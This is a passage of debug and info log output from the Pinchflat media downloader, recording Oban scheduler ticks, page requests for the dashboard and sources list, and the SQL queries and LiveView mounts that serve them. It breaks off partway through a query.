{"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.563 [info] {"source":"oban","duration":1611,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:42:26.815 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:56.816 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.563 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:43:26.817 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:56.818 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.565 [info] {"source":"oban","duration":1056,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:44:26.819 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:56.820 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.566 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:45:26.821 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:56.822 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.567 [info] {"source":"oban","duration":107,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:46:26.823 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:56.824 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:59.110 [info] GET / 13:46:59.110 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 13:46:59.110 [debug] QUERY OK source="settings" db=0.1ms idle=489.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:46:59.110 [debug] QUERY OK source="media_profiles" db=0.0ms idle=334.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 13:46:59.110 [debug] QUERY OK source="sources" db=0.0ms idle=334.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 13:46:59.114 [debug] QUERY OK source="media_items" db=3.7ms idle=334.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:46:59.114 [debug] QUERY OK source="media_items" db=0.3ms idle=338.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:46:59.114 [debug] QUERY OK source="settings" db=0.0ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:46:59.115 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:46:59.115 [debug] QUERY OK source="settings" db=0.0ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:46:59.115 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:46:59.117 [debug] QUERY OK source="media_items" db=1.5ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:46:59.117 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 1] 13:46:59.121 [debug] QUERY OK source="media_items" db=3.8ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:46:59.126 [debug] QUERY OK source="media_items" db=4.3ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:46:59.126 [debug] QUERY OK source="tasks" db=0.1ms idle=11.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:46:59.127 [info] Sent 200 in 17ms 13:46:59.153 [info] CONNECTED TO Phoenix.LiveView.Socket in 15µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Ci4SCjslEygOHw0jdSkgCStvdBFTGz0lLgezLnAbE2fB7SXxiB8vkoef", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 13:46:59.179 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "downloaded"} 13:46:59.180 [debug] QUERY OK source="media_items" db=0.2ms idle=62.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:46:59.181 [debug] QUERY OK source="media_items" db=1.5ms idle=62.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:46:59.182 [debug] QUERY OK source="sources" db=0.1ms idle=60.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 1] 13:46:59.182 [debug] Replied in 2ms 13:46:59.183 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "pending"} 13:46:59.184 [debug] QUERY OK source="media_items" db=1.3ms idle=56.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:46:59.186 [debug] QUERY OK source="media_items" db=1.5ms idle=57.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:46:59.186 [debug] Replied in 3ms 13:46:59.186 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC"} 13:46:59.187 [debug] QUERY OK source="tasks" db=0.1ms idle=6.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:46:59.187 [debug] Replied in 370µs 13:47:00.569 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:47:26.825 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:56.826 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.570 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:48:26.827 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:56.828 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.571 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:49:26.829 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:43.203 [info] GET /sources 13:49:43.203 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 13:49:43.204 [debug] QUERY OK source="settings" db=0.0ms idle=1419.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:49:43.205 [debug] QUERY OK source="settings" db=0.6ms idle=428.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:49:43.205 [debug] QUERY OK source="settings" db=0.0ms idle=429.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:49:43.205 [debug] QUERY OK source="settings" db=0.0ms idle=429.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:49:43.205 [debug] QUERY OK source="settings" db=0.0ms idle=420.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:49:43.270 [debug] QUERY OK source="sources" db=65.0ms idle=1.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 13:49:43.273 [debug] QUERY OK source="sources" db=1.8ms idle=66.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 13:49:43.274 [info] Sent 200 in 70ms 13:49:43.289 [info] CONNECTED TO Phoenix.LiveView.Socket in 13µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IB0SKiY_Gh09FDQZBy1VLhQZBS4PDRcyfTeZQtHWv9_xEW-_V4II7yOq", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 13:49:43.294 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 13:49:43.368 [debug] QUERY OK source="sources" db=73.6ms idle=89.2ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 13:49:43.371 [debug] QUERY OK source="sources" db=3.3ms idle=162.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND 